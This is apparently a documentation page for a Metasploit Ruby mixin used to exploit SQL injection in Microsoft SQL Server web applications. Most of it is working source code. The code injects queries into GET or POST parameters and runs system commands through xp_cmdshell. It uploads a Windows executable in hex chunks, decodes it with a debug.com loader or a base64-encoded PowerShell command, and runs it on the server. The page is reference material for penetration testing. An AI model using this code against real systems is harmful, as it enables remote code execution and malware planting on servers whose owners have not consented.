Module: Msf::Exploit::Remote::MSSQL_SQLI

Includes:
HttpClient
Defined in:
lib/msf/core/exploit/remote/mssql_sqli.rb

Overview

This module wraps functionality for exploiting SQL injection vulnerabilities Some of the functionality has been borrowed from mssql.rb

Instance Attribute Summary

Attributes included from HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#initialize(info = {}) ⇒ Object

Creates an instance of a MSSQL exploit module.



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# File 'lib/msf/core/exploit/remote/mssql_sqli.rb', line 18

def initialize(info = {})
  super

  # Register the options that all MSSQL exploits may make use of.
  register_options(
    [
      Opt::RHOST,
      Opt::RPORT(80),
      OptString.new('METHOD', [ true, 'GET or POST', 'GET']),
      OptString.new('GET_PATH', [ true, 'The complete path with [SQLi] indicating the injection', '/']),
      OptString.new('DATA', [ false, 'POST data, if necessary, with [SQLi] indicating the injection', '']),
      OptString.new('COOKIE', [ false, 'Cookie value', '']),
    ], Msf::Exploit::Remote::MSSQL_SQLI)
  register_advanced_options(
    [
      OptPath.new('HEX2BINARY',   [ false, "The path to the hex2binary script on the disk",
        File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
      ])
    ], Msf::Exploit::Remote::MSSQL_SQLI)

  register_autofilter_ports([ 80, 443, 8080 ])
  register_autofilter_services(%W{ http https })
end

#mssql_query(sqla, doprint = false) ⇒ Object

Issue a SQL query using the SQL injection point



136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# File 'lib/msf/core/exploit/remote/mssql_sqli.rb', line 136

def mssql_query(sqla, doprint=false)

  if (doprint)
    print_status(sqla)
  end
  if (datastore['METHOD'] == 'GET')

    unless datastore['GET_PATH'].index("[SQLi]")
      fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path")
    end

    uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
    res = send_request_cgi({
      'uri'          => uri,
      'method'       => 'GET',
      'cookie'       => datastore['COOKIE'],
      'headers'      => {
        'Accept'	=> '*/*',
      }
    }, 5)
  else

    unless datastore['DATA'].index("[SQLi]")
      fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data")
    end

    post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
    uri = datastore['GET_PATH']
    res = send_request_cgi({
      'uri'          => uri,
      'method'       => 'POST',
      'data'         => post_data,
      'cookie'       => datastore['COOKIE'],
      'headers'      => {
        'Accept'	=> '*/*',
      }
    }, 5)
  end

end

#mssql_upload_exec(exe, debug = false) ⇒ Object

Upload and execute a Windows binary through MSSQL queries



67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# File 'lib/msf/core/exploit/remote/mssql_sqli.rb', line 67

def mssql_upload_exec(exe, debug=false)
  hex = exe.unpack("H*")[0]

  var_bypass  = rand_text_alpha(8)
  var_payload = rand_text_alpha(8)

  print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  print_status("Writing the debug.com loader to the disk...")
  h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
  h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
  h2b.split(/\n/).each do |line|
    mssql_xpcmdshell("#{line}", false)
  end

  print_status("Converting the debug script to an executable...")
  mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
  mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

  print_status("Uploading the payload, please be patient...")
  idx = 0
  cnt = 500
  while(idx < hex.length - 1)
    mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
    idx += cnt
  end

  print_status("Converting the encoded payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

  print_status("Executing the payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 10})
end

#mssql_xpcmdshell(cmd, doprint = false, opts = {}) ⇒ Object

Execute a system command via xp_cmdshell



46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# File 'lib/msf/core/exploit/remote/mssql_sqli.rb', line 46

def mssql_xpcmdshell(cmd,doprint=false,opts={})
  force_enable = false
  begin
    res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint)
    #mssql_print_reply(res) if doprint

    return res

  rescue RuntimeError => e
    if(e.to_s =~ /xp_cmdshell disabled/)
      force_enable = true
      retry
    end
    raise e
  end
end

#powershell_upload_exec(exe, debug = false) ⇒ Object

Upload and execute a Windows binary through MSSQL queries and Powershell



105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# File 'lib/msf/core/exploit/remote/mssql_sqli.rb', line 105

def powershell_upload_exec(exe, debug=false)

  # hex converter
  hex = exe.unpack("H*")[0]
  # create random alpha 8 character names
  #var_bypass  = rand_text_alpha(8)
  var_payload = rand_text_alpha(8)
  print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  # our payload converter, grabs a hex file and converts it to binary for us through powershell
  h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
  h2b_unicode=Rex::Text.to_unicode(h2b)
  # base64 encode it, this allows us to perform execution through powershell without registry changes
  h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
  print_status("Uploading the payload #{var_payload}, please be patient...")
  idx = 0
  cnt = 500
  while(idx < hex.length - 1)
    mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
    idx += cnt
  end
  print_status("Converting the payload utilizing PowerShell EncodedCommand...")
  mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
  print_status("Executing the payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
  print_status("Be sure to cleanup #{var_payload}.exe...")
end